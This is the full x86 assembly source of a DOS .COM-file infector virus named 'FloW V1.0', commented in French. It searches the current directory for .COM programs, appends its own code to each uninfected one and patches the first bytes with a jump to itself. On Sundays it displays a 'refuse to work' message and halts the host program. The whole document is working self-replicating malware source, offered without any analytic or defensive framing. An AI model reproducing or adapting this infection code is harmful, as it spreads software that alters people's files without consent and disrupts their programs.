***********************************************************************************
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
debut:
db 0e9h,0,0 ;on ecrie ça pour que le prog reconnaisse
;qu'il est deja infecte
;car sinon il va s'auto-infecter
virus:
call virus_start ;call pour pouvoir recuperer l'adresse
virus_start:
pop bp ;qu'on recupere
sub bp,OFFSET virus_start ;et qu'on adapte a nos besoins
mov cx,3 ;remet les 3 bits originaux
mov di,100h ;depart du com
lea si,[bp+buffer] ;endroit où on a copié les 3 bits
rep movsb ;on le fait tant que cx!=0
dta:
lea dx,[bp+mydta] ;adresse de mydta
mov ah,1ah ;Set DTA
int 21h ;
CHECK_DAY:
mov ah,2Ah ;Get Date
int 21h ;
cmp al,0 ;Dimanche ou pas ?
jne pasgreve ;si non, on fait pas la greve
;sinon on continue
;greve
lea dx,[bp+message] ;message !
push ax
mov ax,0900h
int 21h
pop ax
mov ah,4ch ;retour au dos
int 21h
pasgreve:
;findfirst
mov ah,4Eh ;
lea dx,[bp+fichiercom] ;findfirst
int 21h ;
OUVERTURE:
jc fin ;si on trouve pas on quitte
mov ax,3D02h ;ouverture-du-fichier(le 02 indique lecture-ecriture)
lea dx,[bp+mydta+1eh] ;nom dans DTA_PLACE+1eh
int 21h
mov bx,ax ;handle en bx
CHECK_INFECTION: ;ça c'est du code barbare !
mov ah,3fh ;lecture du 1er bit
mov cx,1 ;on en lit 1
lea dx,[bp+verification] ;le bit dans verification
int 21h ;
cmp [bp+verification], 0e9h ;compare le 1er bit a 0e9h
jz FERMETURE ;si = on cherche un autre
INFECTION:
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah,3fh ;lecture des premiers bits
mov cx,3 ;on en lit 3
lea dx,[bp+buffer] ;les 3 bits dans buffer
int 21h ;
mov ax, 4202h ;pointeur du fichier a la fin
xor cx, cx ;
xor dx, dx ;
int 21h ;
;codage du jmp
sub ax,3
mov word ptr [bp+buffer2+1],ax ;codage du jump
mov ah,40h ;ecriture
mov cx, virus_end-virus ;taille de notre virus
lea dx,[bp+virus] ;pointe au debut du virus
int 21h
;ecriture du jmp
mov ax, 4200h ;pointeur du fichier au debut
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov ah, 40h ;écriture du jmp
mov cx, 3 ;on écrit 3 bits
lea dx,[bp+buffer2] ;pointe sur le jmp codé
int 21h ;
FERMETURE:
mov ah,3Eh ;fermeture-du-fichier
int 21h
mov ah,4Fh ;findnext
int 21h ;si y en a pas on se casse
jmp OUVERTURE ;si y en a on revient
fin:
;execution-du-prog-victime
fin_cherche:
mov dx,80h ;replacement de la dta
mov ah,1ah
int 21h
mov di,100h ;di pointe a 100h (depart des coms)
jmp di ;le virus passe la main au prog infecte
variables:
buffer db 3 dup (?) ;buffer des 3 bits
fichiercom db '*.COM',0 ;cible: les coms
buffer2 db 0e9h,?,? ;buffer du jmp de depart
verification db ? ;sert pour tester si le fichier est deja infecté
message db 'Je suis votre ordinateur, il est dimanche je refuse donc de travailler !','$'
TiPiaX db 'FloW V1.0 By PoSeiDoN (Fr)'
virus_end:
mydta db 42 dup (?) ;on le met la car on ne veut pas copier le contenu
;de la DTA
CODE ENDS
END debut
***********************************************************************************